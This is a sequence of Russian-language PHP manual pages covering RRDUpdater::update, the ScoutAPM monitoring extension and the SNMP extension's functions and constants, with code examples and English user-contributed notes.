public RRDUpdater::update(array $values, string $time = time() ): bool

Обновляет файл базы данных RRD, определённый через конструктор RRDUpdater::__construct(). Файл обновляется заданными значениями.

Список параметров

values

Данные для обновления. Массив с ключами, соответствующими именам источников данных.

time

Значение времени для обновления соответствующих данных. По умолчанию используется текущее время.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

В случае возникновения ошибки выбрасывает исключение типа Exception.

Примеры

Пример #1 Пример использования RRDUpdater::update()

<?php
$updator = new RRDUpdater("speed.rrd");
//обновляет источник данных "speed" значением "12411"
//для времени заданного временной меткой timestamp "920807700"
$updator->update(array("speed" => "12411"), "920807700");
?>

User Contributed Notes

There are no user contributed notes for this page.


ScoutAPM

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
  • Предопределённые константы
  • Функции Scoutapm
    • scoutapm_get_calls — Возвращает список вызовов, которые произошли
    • scoutapm_list_instrumented_functions — Список функций, которые scoutapm будет использовать

User Contributed Notes

There are no user contributed notes for this page.


Введение

Замечание: Для Windows-платформ этот модуль недоступен.

Модуль ScoutAPM для PHP предоставляет дополнительные возможности для мониторинга приложений по сравнению с использованием базовой библиотеки пользовательского пространства PHP.

User Contributed Notes

There are no user contributed notes for this page.


Требования

  • PHP >= 7.1.0
  • Windows в настоящее время не поддерживается

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль доступен на PECL. Запустите:

$ sudo pecl install scoutapm
Возможно, вам потребуется добавить Scout в php.ini, например:
extension=scoutapm.so

User Contributed Notes

There are no user contributed notes for this page.


Функции Scoutapm

Содержание

  • scoutapm_get_calls — Возвращает список вызовов, которые произошли
  • scoutapm_list_instrumented_functions — Список функций, которые scoutapm будет использовать

User Contributed Notes

There are no user contributed notes for this page.


Возвращает список вызовов, которые произошли

  • « Функции Scoutapm
  • scoutapm_list_instrumented_functions »
  • PHP Manual
  • Функции Scoutapm
  • Возвращает список вызовов, которые произошли

scoutapm_get_calls

(PECL scoutapm >= 1.0.0)

scoutapm_get_calls — Возвращает список вызовов, которые произошли

Описание

scoutapm_get_calls(): array

Возвращает список всех вызовов использованных функций с момента последнего вызова scoutapm_get_calls(). Список очищается каждый раз при вызове функции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

scoutapm_get_calls() возвращает массив, содержащий список всех записанных вызовов использованных функций.

Примеры

Пример #1 Получение использованных функций

<?php

file_get_contents('a.txt');
file_get_contents('b.txt');

print_r(scoutapm_get_calls());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [function] => file_get_contents
            [entered] => 1576839727.7934
            [exited] => 1576839727.7935
            [time_taken] => 2.7894973754883E-5
            [argv] => Array
                (
                    [0] => a.txt
                )

        )

    [1] => Array
        (
            [function] => file_get_contents
            [entered] => 1576839727.7935
            [exited] => 1576839727.7935
            [time_taken] => 7.8678131103516E-6
            [argv] => Array
                (
                    [0] => b.txt
                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Список функций, которые scoutapm будет использовать

  • « scoutapm_get_calls
  • SNMP »
  • PHP Manual
  • Функции Scoutapm
  • Список функций, которые scoutapm будет использовать

scoutapm_list_instrumented_functions

(PECL scoutapm >= 1.0.2)

scoutapm_list_instrumented_functions — Список функций, которые scoutapm будет использовать

Описание

scoutapm_list_instrumented_functions(): array

Возвращает список функций, которые модуль будет использовать

Список параметров

У этой функции нет параметров.

Возвращаемые значения

scoutapm_list_instrumented_functions() возвращает массив, содержащий список всех функций, которые модуль scoutapm может использовать в текущей установке.

Примеры

Пример #1 Получение списка функций, которые scoutapm может использовать

<?php
print_r(scoutapm_list_instrumented_functions());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => file_get_contents
    [1] => file_put_contents
    [2] => fopen
    [3] => fread
    [4] => fwrite
    [5] => pdo->exec
    [6] => pdo->query
    [7] => pdo->prepare
    [8] => pdostatement->execute
)

User Contributed Notes

There are no user contributed notes for this page.


SNMP

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции SNMP
    • snmp_get_quick_print — Получает текущее значение параметра quick_print библиотеки NET-SNMP
    • snmp_get_valueretrieval — Возвращает метод, как будут возвращены значения SNMP
    • snmp_read_mib — Читает и анализирует файл MIB в активном дереве MIB
    • snmp_set_enum_print — Возвращает все значения, которые являются перечислениями, с их значением перечисления вместо необработанного целого числа
    • snmp_set_oid_numeric_print — Псевдоним snmp_set_oid_output_format
    • snmp_set_oid_output_format — Устанавливает выходной формат OID
    • snmp_set_quick_print — Устанавливает значение enable в библиотеке NET-SNMP
    • snmp_set_valueretrieval — Определяет метод возврата значений SNMP
    • snmp2_get — Получает объект SNMP
    • snmp2_getnext — Получает объект SNMP, который следует за данным идентификатором объекта
    • snmp2_real_walk — Возвращает все объекты, включая их идентификатор
    • snmp2_set — Устанавливает значение объекта SNMP
    • snmp2_walk — Получает все объекты SNMP из агента
    • snmp3_get — Получает объект SNMP
    • snmp3_getnext — Получает объект SNMP, который следует за указанным идентификатором объекта
    • snmp3_real_walk — Возвращает все объекты, включая их идентификатор в указанном объекте
    • snmp3_set — Устанавливает значение объекта SNMP
    • snmp3_walk — Получает все объекты SNMP из агента
    • snmpget — Получает объект SNMP
    • snmpgetnext — Получает объект SNMP, который следует за данным идентификатором объекта
    • snmprealwalk — Возвращает все объекты, включая их идентификатор
    • snmpset — Устанавливает значение объекта SNMP
    • snmpwalk — Получает все объекты SNMP из агента
    • snmpwalkoid — Запрос дерева информации о сетевом объекте
  • SNMP — Класс SNMP
    • SNMP::close — Закрывает сессию SNMP
    • SNMP::__construct — Создаёт экземпляр SNMP, представляющий сессию удалённого агента SNMP
    • SNMP::get — Получает объект SNMP
    • SNMP::getErrno — Получает код последней ошибки
    • SNMP::getError — Получает последнее сообщение об ошибке
    • SNMP::getnext — Получить объект SNMP, который следует за данным идентификатором объекта
    • SNMP::set — Устанавливает значение объекта SNMP
    • SNMP::setSecurity — Настраивает связанные с безопасностью параметры сессии SNMPv3
    • SNMP::walk — Получает поддерево объекта SNMP
  • SNMPException — Класс SNMPException

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль SNMP предоставляет простой и удобный набор инструментов для управления удалёнными устройствами через Simple Network Management Protocol (простой протокол управления сетями).

Так как данный модуль является обёрткой над библиотекой Net-SNMP, все основные концепции идентичны и функции PHP меняют их поведение в зависимости от конфигурации Net-SNMP и переменных среды.

Больше информации о Net-SNMP можно найти по адресу » http://www.net-snmp.org/.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Чтобы использовать функции SNMP в Unix необходимо установить пакет » Net-SNMP. Функции SNMPv3 доступны только тогда, когда установлен пакет » OpenSSL.

Для установки на Unix-системах необходим пакет Net-SNMP версии 5.3+, а для установки на Windows-системах необходим пакет Net-SNMP версии 5.4+.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Пакет » Net-SNMP для Windows содержит файлы для поддержки SNMP в директории mibs. Эту директорию необходимо добавить в переменные окружения Windows с именем MIBDIRS и значением равным полному пути до директории mibs: например, c:\usr\mibs.

User Contributed Notes

bug404 at free dot fr 07-Sep-2014 05:00
If net-snmp was not installed in default c:\usr folder (which may be the case for most peoples used to Windows instead of Linux), then, you should also create SNMP_PERSISTENT_DIR system environment variable with "persistent" folder location (located in snmp folder).
Otherwise, php will will create its own persistant folder in c:/usr/snmp/persistent folder, which is probably not what you want !


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Для snmp_set_oid_output_format()
SNMP_OID_OUTPUT_SUFFIX (int)
SNMP_OID_OUTPUT_MODULE (int)
SNMP_OID_OUTPUT_FULL (int)
SNMP_OID_OUTPUT_NUMERIC (int)
SNMP_OID_OUTPUT_UCD (int)
SNMP_OID_OUTPUT_NONE (int)
Для snmp_set_valueretrieval()
SNMP_VALUE_LIBRARY (int)
SNMP_VALUE_PLAIN (int)
SNMP_VALUE_OBJECT (int)
Возвращаемый типы SNMP, если SNMP_VALUE_OBJECT используется в snmp_set_valueretrieval()
SNMP_BIT_STR (int)
SNMP_OCTET_STR (int)
SNMP_OPAQUE (int)
SNMP_NULL (int)
SNMP_OBJECT_ID (int)
SNMP_IPADDRESS (int)
SNMP_COUNTER (int)
SNMP_UNSIGNED (int)
SNMP_TIMETICKS (int)
SNMP_UINTEGER (int)
SNMP_INTEGER (int)
SNMP_COUNTER64 (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции SNMP

Содержание

  • snmp_get_quick_print — Получает текущее значение параметра quick_print библиотеки NET-SNMP
  • snmp_get_valueretrieval — Возвращает метод, как будут возвращены значения SNMP
  • snmp_read_mib — Читает и анализирует файл MIB в активном дереве MIB
  • snmp_set_enum_print — Возвращает все значения, которые являются перечислениями, с их значением перечисления вместо необработанного целого числа
  • snmp_set_oid_numeric_print — Псевдоним snmp_set_oid_output_format
  • snmp_set_oid_output_format — Устанавливает выходной формат OID
  • snmp_set_quick_print — Устанавливает значение enable в библиотеке NET-SNMP
  • snmp_set_valueretrieval — Определяет метод возврата значений SNMP
  • snmp2_get — Получает объект SNMP
  • snmp2_getnext — Получает объект SNMP, который следует за данным идентификатором объекта
  • snmp2_real_walk — Возвращает все объекты, включая их идентификатор
  • snmp2_set — Устанавливает значение объекта SNMP
  • snmp2_walk — Получает все объекты SNMP из агента
  • snmp3_get — Получает объект SNMP
  • snmp3_getnext — Получает объект SNMP, который следует за указанным идентификатором объекта
  • snmp3_real_walk — Возвращает все объекты, включая их идентификатор в указанном объекте
  • snmp3_set — Устанавливает значение объекта SNMP
  • snmp3_walk — Получает все объекты SNMP из агента
  • snmpget — Получает объект SNMP
  • snmpgetnext — Получает объект SNMP, который следует за данным идентификатором объекта
  • snmprealwalk — Возвращает все объекты, включая их идентификатор
  • snmpset — Устанавливает значение объекта SNMP
  • snmpwalk — Получает все объекты SNMP из агента
  • snmpwalkoid — Запрос дерева информации о сетевом объекте

User Contributed Notes

Chris 01-Nov-2007 01:50
Here's a fresh list of API for SNMPv1, SNMPv2c, and SNMPv3 as of PHP 5.2.4:

SNMPv1
------
string snmpget(string host, string community, string object_id [, int timeout [, int retries]]);

string snmpgetnext(string host, string community, string object_id [, int timeout [, int retries]]);

array snmpwalk(string host, string community, string object_id [, int timeout [, int retries]]);

array snmprealwalk(string host, string community, string object_id [, int timeout [, int retries]]);

bool snmp_get_quick_print(void);

void snmp_set_quick_print(int quick_print);

void snmp_set_enum_print(int enum_print);

void snmp_set_oid_output_format(int oid_format);

int snmpset(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]]);

SNMPv2c
-------
string snmp2_get(string host, string community, string object_id [, int timeout [, int retries]]);

string snmp2_getnext(string host, string community, string object_id [, int timeout [, int retries]]);

array snmp2_walk(string host, string community, string object_id [, int timeout [, int retries]]);

array snmp2_real_walk(string host, string community, string object_id [, int timeout [, int retries]]);

int snmp2_set(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]]);

SNMPv3
------
int snmp3_get(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_getnext(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_real_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]]);

int snmp3_set(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id, string type, mixed value [, int timeout [, int retries]]);

General
-------
int snmp_set_valueretrieval(int method);

int snmp_get_valueretrieval();

int snmp_read_mib(string filename);

SNMPv3 options
--------------
SNMPv3 offers a different authentication/authorization scheme than previous versions of SNMP.  To aid in using the API listed above, here is a brief explanation of each of the unique parameters used in the snmp3_* functions.

$sec_name - the "username" used for authentication to the system

$sec_level - the authentication scheme ('noAuthNoPriv', 'authNoPriv', or 'authPriv')

$auth_protocol - the encryption protocol used for authentication ('MD5' [default] or 'SHA')

$auth_passphrase - the encrypted key to use as the authentication challenge

$priv_protocol - the encryption protocol used for protecting the protocol data unit ('DES' [default], 'AES128', 'AES192', or 'AES256')

$priv_passphrase - the key to use for encrypting the protocol data unit

There are good code snippets available on http://forums.cacti.net/about5403.html for more information.
1413 at blargh dot com 10-Nov-2005 01:29
For my purposes in PHP coding, I have the following SNMP options set, always.  These aren't documented very well in PHP's docs, but they make dealing with the SNMP results a LOT easier:

<?php
// Return back the numeric OIDs, instead of text strings.
snmp_set_oid_numeric_print(1);

// Get just the values.
snmp_set_quick_print(TRUE);

// For sequence types, return just the numbers, not the string and numbers.
snmp_set_enum_print(TRUE);

// Don't let the SNMP library get cute with value interpretation.  This makes
// MAC addresses return the 6 binary bytes, timeticks to return just the integer
// value, and some other things.
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
?>


Получает текущее значение параметра quick_print библиотеки NET-SNMP

  • « Функции SNMP
  • snmp_get_valueretrieval »
  • PHP Manual
  • Функции SNMP
  • Получает текущее значение параметра quick_print библиотеки NET-SNMP

snmp_get_quick_print

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp_get_quick_print — Получает текущее значение параметра quick_print библиотеки NET-SNMP

Описание

snmp_get_quick_print(): bool

Возвращает текущее значение, хранящееся в библиотеке NET-SNMP для quick_print. quick_print по умолчанию отключён.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если quick_print включён или false в противном случае.

Примеры

Пример #1 Пример использования snmp_get_quick_print()

<?php
$quickprint = snmp_get_quick_print();
?>

Смотрите также

  • snmp_set_quick_print() - Устанавливает значение enable в библиотеке NET-SNMP для полного описания того, что делает quick_print.

User Contributed Notes

antic 23-Feb-2003 05:13
This can be used to parse the returned values depending on the quick print setting. For example sysUpTime might look something like this: "Timeticks: (34575334) 4 days, 0:02:33.34", but if quick print is enabled it will be on the form: "4:0:2:33.34". To get the same output you can parse it differently, something like:

if(@ $sysUpTime = snmpget($switch,$community,"system.sysUpTime.0")){
    if(snmp_get_quick_print()){
       sscanf($sysUpTime, "%d:%d:%d:%d.%d",$day,$hour,$minute,$sec,$ticks);
        $sysUpTime = "$day days, $hour:$minute:$sec.$ticks";
    }else{
       $sysUpTime = ereg_replace("Timeticks: \([0-9]+\) ","",$sysUpTime);
   }
}


Возвращает метод, как будут возвращены значения SNMP

  • « snmp_get_quick_print
  • snmp_read_mib »
  • PHP Manual
  • Функции SNMP
  • Возвращает метод, как будут возвращены значения SNMP

snmp_get_valueretrieval

(PHP 4 >= 4.3.3, PHP 5, PHP 7, PHP 8)

snmp_get_valueretrieval — Возвращает метод, как будут возвращены значения SNMP

Описание

snmp_get_valueretrieval(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объединение констант (SNMP_VALUE_LIBRARY или SNMP_VALUE_PLAIN) с возможным набором SNMP_VALUE_OBJECT.

Примеры

Пример #1 Пример использования snmp_get_valueretrieval()

<?php
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
if (snmp_get_valueretrieval() & SNMP_VALUE_OBJECT) {
echo $ret->value;
} else {
echo $ret;
}
?>

Смотрите также

  • snmp_set_valueretrieval() - Определяет метод возврата значений SNMP
  • Предопределённые константы

User Contributed Notes

There are no user contributed notes for this page.


Читает и анализирует файл MIB в активном дереве MIB

  • « snmp_get_valueretrieval
  • snmp_set_enum_print »
  • PHP Manual
  • Функции SNMP
  • Читает и анализирует файл MIB в активном дереве MIB

snmp_read_mib

(PHP 5, PHP 7, PHP 8)

snmp_read_mib — Читает и анализирует файл MIB в активном дереве MIB

Описание

snmp_read_mib(string $filename): bool

Функция используется для загрузки дополнительных, например, специфичных для поставщика, MIB, чтобы можно было использовать удобочитаемые OID, таких как VENDOR-MIB::foo.1, вместо подверженных ошибкам числовых OID.

Порядок, в котором загружаются MIB, имеет значение, поскольку базовая библиотека Net-SNMP будет печатать предупреждения, если указанные объекты не могут быть разрешены.

Список параметров

filename

Имя файла MIB.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования snmp_read_mib()

<?php

print_r( snmprealwalk('localhost', 'public', '.1.3.6.1.2.1.2.3.4.5') );

snmp_read_mib('./FOO-BAR-MIB.txt');
print_r( snmprealwalk('localhost', 'public', 'FOO-BAR-MIB::someTable') );
?>

Приведённый выше пример составлен, но результаты будут выглядеть так:

Array
(
    [iso.3.6.1.2.1.2.3.4.5.0] => Gauge32: 6
)
Array
(
    [FOO-BAR-MIB::someTable.0] => Gauge32: 6
)

User Contributed Notes

jdhall75 at yahoo dot com 04-Mar-2008 05:50
If you are trying to import mibs with dependencies on other mibs you will have to set the MIBDIRS environment variable.

Unix / Linux: export MIBDIRS=/home/<user>/MIBS:/usr/share/snmp/mibs
Window: Good luck! No really.  Try this url out.  It has everything that you need to know about setting environment vars in windows.

http://vlaurie.com/computers2/Articles/environment.htm
ptitgal at hotmail dot com 28-Feb-2006 02:37
Importing massive Mibs located in a directory
<?php
/******************** Loading Mibs **************/
 $mib_path='YourPath';
 if ($handle = opendir($mib_path))
 { echo "Directory handle: $handle <br>";
    echo "Files: <br>";
    while (false !== ($file = readdir($handle)))
    { if($file!='.')
       { if($file!='..')
          { echo "Read : ";
            echo "$mib_path.$file";
            if(snmp_read_mib($mib_path.'\\'.$file)) echo " Succesful <br>";
            else echo " Failed <br>";
         }
        }
    }
}
closedir($handle);

?>


Возвращает все значения, которые являются перечислениями, с их значением перечисления вместо необработанного целого числа

  • « snmp_read_mib
  • snmp_set_oid_numeric_print »
  • PHP Manual
  • Функции SNMP
  • Возвращает все значения, которые являются перечислениями, с их значением перечисления вместо необработанного целого числа

snmp_set_enum_print

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

snmp_set_enum_print — Возвращает все значения, которые являются перечислениями, с их значением перечисления вместо необработанного целого числа

Описание

snmp_set_enum_print(bool $enable): true

Функция переключает, если snmpwalk/snmpget и т.д. должны автоматически искать значения перечисления в MIB и возвращать их вместе с их удобочитаемой строкой.

Список параметров

enable

Поскольку значение интерпретируется библиотекой Net-SNMP как логическое значение, оно может быть только "0" or "1".

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования snmp_set_enum_print()

<?php
snmp_set_enum_print(0);
echo snmpget('localhost', 'public', 'IF-MIB::ifOperStatus.3') . "\n";
snmp_set_enum_print(1);
echo snmpget('localhost', 'public', 'IF-MIB::ifOperStatus.3') . "\n";
?>

Пример выше должен вернуть:

 INTEGER: up(1)
 INTEGER: 1

User Contributed Notes

dbeecher at tekops dot com 15-Jun-2004 12:23
This function is only available if using NET_SNMP.  It is NOT available if using UCD_SNMP.  Likewise UCD_SNMP supports some behaviors that NET_SNMP does not.  (found limitation by looking in php snmp.c file)


Псевдоним snmp_set_oid_output_format

  • « snmp_set_enum_print
  • snmp_set_oid_output_format »
  • PHP Manual
  • Функции SNMP
  • Псевдоним snmp_set_oid_output_format

snmp_set_oid_numeric_print

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

snmp_set_oid_numeric_print — Псевдоним snmp_set_oid_output_format()

Описание

Функция является псевдонимом: snmp_set_oid_output_format().

Смотрите также

  • snmp_set_oid_output_format() - Устанавливает выходной формат OID

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает выходной формат OID

  • « snmp_set_oid_numeric_print
  • snmp_set_quick_print »
  • PHP Manual
  • Функции SNMP
  • Устанавливает выходной формат OID

snmp_set_oid_output_format

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

snmp_set_oid_output_format — Устанавливает выходной формат OID

Описание

snmp_set_oid_output_format(int $format): true

snmp_set_oid_output_format() устанавливает полный или числовой формат вывода.

Список параметров

format
OID .1.3.6.1.2.1.1.3.0 представление для различных значений format
SNMP_OID_OUTPUT_FULL | .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NUMERIC | .1.3.6.1.2.1.1.3.0
SNMP_OID_OUTPUT_MODULE | DISMAN-EVENT-MIB::sysUpTimeInstance
SNMP_OID_OUTPUT_SUFFIX | sysUpTimeInstance
SNMP_OID_OUTPUT_UCD | system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NONE | Undefined

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования snmprealwalk()

<?php

snmp_read_mib("/usr/share/mibs/netsnmp/NET-SNMP-TC");

// default or SNMP_OID_OUTPUT_MODULE
print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );

snmp_set_oid_output_format(SNMP_OID_OUTPUT_NUMERIC);
print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );

snmp_set_oid_output_format(SNMP_OID_OUTPUT_FULL);
print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );
?>

Пример выше должен вернуть:

 Array
 (
    [RFC1213-MIB::sysObjectID.0] => OID: NET-SNMP-TC::linux
 )
 Array
 (
    [.1.3.6.1.2.1.1.2.0] => OID: .1.3.6.1.4.1.8072.3.2.10
 )
 Array
 (
    [.iso.org.dod.internet.mgmt.mib-2.system.sysObjectID.0] => OID: .iso.org.dod.internet.private.enterprises.netSnmp.netSnmpEnumerations.netSnmpAgentOIDs.linux
 )

User Contributed Notes

niarnrmd at yandex dot ru 12-May-2022 01:47
/******************** Loading Mibs **************/
$mib_path='/usr/share/snmp/mibs/ietf/';
if ($handle = opendir($mib_path))
{ echo "Directory handle: $handle <br>";
    echo "Files: <br>";
    while (false !== ($file = readdir($handle)))
    { if($file!='.')
    { if($file!='..')
    { echo "Read : ";
        echo "$mib_path"."$file";
        if(snmp_read_mib($mib_path.$file)) echo " Succesful <br>";
        else echo " Failed <br>";
    }
    }
    }
}
//load only one dir
ww at 9rivers dot com 30-Dec-2010 08:43
There seems to be more than SNMP_OID_OUTPUT_FULL and SNMP_OID_OUTPUT_NUMERIC.

For example, when I walk on BRIDGE-MIB::dot1dTpFdbPort without setting the output format and var_dump the result, I get output like:

  ["BRIDGE-MIB::dot1dTpFdbPort.'..F8.7'"]=>
  string(2) "52"

When I set it to NUMERIC, I get what I expected:

  [".1.3.6.1.2.1.17.4.3.1.2.244.206.70.56.24.55"]=>
  string(2) "52"

When I set it to FULL, I get even more (line-wrapped manually):

  [".iso.org.dod.internet.mgmt.mib-2 .dot1dBridge.dot1dTp .dot1dTpFdbTable .dot1dTpFdbEntry .dot1dTpFdbPort. '..F8.7'"]=>
  string(2) "52"


Устанавливает значение enable в библиотеке NET-SNMP

  • « snmp_set_oid_output_format
  • snmp_set_valueretrieval »
  • PHP Manual
  • Функции SNMP
  • Устанавливает значение enable в библиотеке NET-SNMP

snmp_set_quick_print

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp_set_quick_print — Устанавливает значение enable в библиотеке NET-SNMP

Описание

snmp_set_quick_print(bool $enable): true

Устанавливает значение enable в библиотеке NET-SNMP. Если установлено (1), библиотека SNMP будет возвращать "быстро выводимые" значения. Это означает, что выведется только значение. Если enable выключен (по умолчанию), библиотека NET-SNMP выводит дополнительную информацию, включая тип значения (например, IpAddress или OID). Кроме того, если quick_print выключен, библиотека выводит дополнительные шестнадцатеричные значения для всех строк из трёх или менее символов.

По умолчанию библиотека NET-SNMP возвращает подробные значения, quick_print используется для возврата только значения.

В настоящее время строки по-прежнему возвращаются с дополнительными кавычками, это будет исправлено в более поздних версиях.

Список параметров

enable

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Настройка quick_print часто используется при использовании возвращаемой информации, а не при её отображении.

Пример #1 Пример использования snmp_set_quick_print()

<?php
snmp_set_quick_print(0);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a\n";
snmp_set_quick_print(1);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a\n";
?>

Результатом выполнения данного примера будет что-то подобное:

'Timeticks: (0) 0:00:00.00'
'0:00:00.00'

Смотрите также

  • snmp_get_quick_print() - Получает текущее значение параметра quick_print библиотеки NET-SNMP

User Contributed Notes

There are no user contributed notes for this page.


Определяет метод возврата значений SNMP

  • « snmp_set_quick_print
  • snmp2_get »
  • PHP Manual
  • Функции SNMP
  • Определяет метод возврата значений SNMP

snmp_set_valueretrieval

(PHP 4 >= 4.3.3, PHP 5, PHP 7, PHP 8)

snmp_set_valueretrieval — Определяет метод возврата значений SNMP

Описание

snmp_set_valueretrieval(int $method): true

Список параметров

method
Типы
SNMP_VALUE_LIBRARY | Возвращаемые значения будут такими же, как возвращаемые библиотекой Net-SNMP.
SNMP_VALUE_PLAIN | Возвращаемые значения будут простыми значениями без информации о типах SNMP.
SNMP_VALUE_OBJECT | Возвращаемые значения будут объектами со свойствами value and type, где последнее является одной из констант SNMP_OCTET_STR, SNMP_COUNTER и т.д. Способ возврата value зависит от того, какая из констант SNMP_VALUE_LIBRARY, SNMP_VALUE_PLAIN установлена.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования snmp_set_valueretrieval()

<?php
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
// $ret = "STRING: lo"

snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
// $ret = "lo";

snmp_set_valueretrieval(SNMP_VALUE_OBJECT);
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
// stdClass Object
// (
// [type] => 4 <-- SNMP_OCTET_STR, смотрите константы
// [value] => lo
// )

snmp_set_valueretrieval(SNMP_VALUE_OBJECT | SNMP_VALUE_PLAIN);
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
// stdClass Object
// (
// [type] => 4 <-- SNMP_OCTET_STR, смотрите константы
// [value] => lo
// )

snmp_set_valueretrieval(SNMP_VALUE_OBJECT | SNMP_VALUE_LIBRARY);
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
// stdClass Object
// (
// [type] => 4 <-- SNMP_OCTET_STR, смотрите константы
// [value] => STRING: lo
// )

?>

Смотрите также

  • snmp_get_valueretrieval() - Возвращает метод, как будут возвращены значения SNMP
  • Предопределённые константы

User Contributed Notes

doug dot manley at gmail dot com 20-Jan-2009 01:04
The default value (if this function is not called) is "SNMP_VALUE_LIBRARY", which seems to be SNMP's built-in way of printing things.

From "snmp.c":
<code>
static PHP_GINIT_FUNCTION(snmp)
{
    snmp_globals->valueretrieval = SNMP_VALUE_LIBRARY;
}
</code>

A mild description of these is:
SNMP_VALUE_LIBRARY: This is a string similar to:
"INTEGER: 42"

SNMP_VALUE_PLAIN: This is a string similar to:
"42"

SNMP_VALUE_OBJECT: This is a PHP object like:
object(
"type" => SNMP_INTEGER,
"value" => 42,
)
Here, "type" is one of the SNMP_* types that are listed under the "Predefined Constants" page.  In addition, types 128, 129, and 130 are error conditions.
Mikhail D 01-Aug-2007 05:26
Sample is swow Interface status.
(.iso.org.dod.internet.mgmt.mib-2.
interfaces.ifTable.ifEntry.ifAdminStatus)
Possible values for this request from MIB:
Enum(integer): up (1), down (2), testing (3)

<?php
//snmp_set_quick_print(0);  // is default
$strIP = "10.1.1.1"; $strComm = "public";
$strOID =  ".1.3.6.1.2.1.2.2.1.7.1";
echo "\n Default valueretrieval with snmp_set_quick_print(0)";
echo " snmp_get_valueretrieval = SNMP_VALUE_LIBRARY";
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
echo "\n SNMP_VALUE_LIBRARY " . snmp_get_valueretrieval();
echo ", retrieved value " .   snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
echo "\n SNMP_VALUE_PLAIN " . snmp_get_valueretrieval();
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);

snmp_set_quick_print(1);
echo "\n Default valueretrieval snmp_set_quick_print(0) " ;
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
echo "\n SNMP_VALUE_LIBRARY " . snmp_get_valueretrieval();
echo ", retrieved value " .   snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
echo "\n SNMP_VALUE_PLAIN " . snmp_get_valueretrieval();
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);
?>

Results:
 Default valueretrieval with snmp_set_quick_print(0)
     snmp_get_valueretrieval = SNMP_VALUE_LIBRARY,
 retrieved value up(1)
 SNMP_VALUE_LIBRARY 0, retrieved value up(1)
 SNMP_VALUE_PLAIN 1, retrieved value 1
 Default valueretrieval snmp_set_quick_print(0)
 SNMP_VALUE_LIBRARY 0, retrieved value up
 SNMP_VALUE_PLAIN 1, retrieved value 1
david at eder dot us 24-Jun-2004 12:16
It appears that the possible method constants for this function are:

SNMP_VALUE_LIBRARY
SNMP_VALUE_PLAIN
SNMP_VALUE_OBJECT

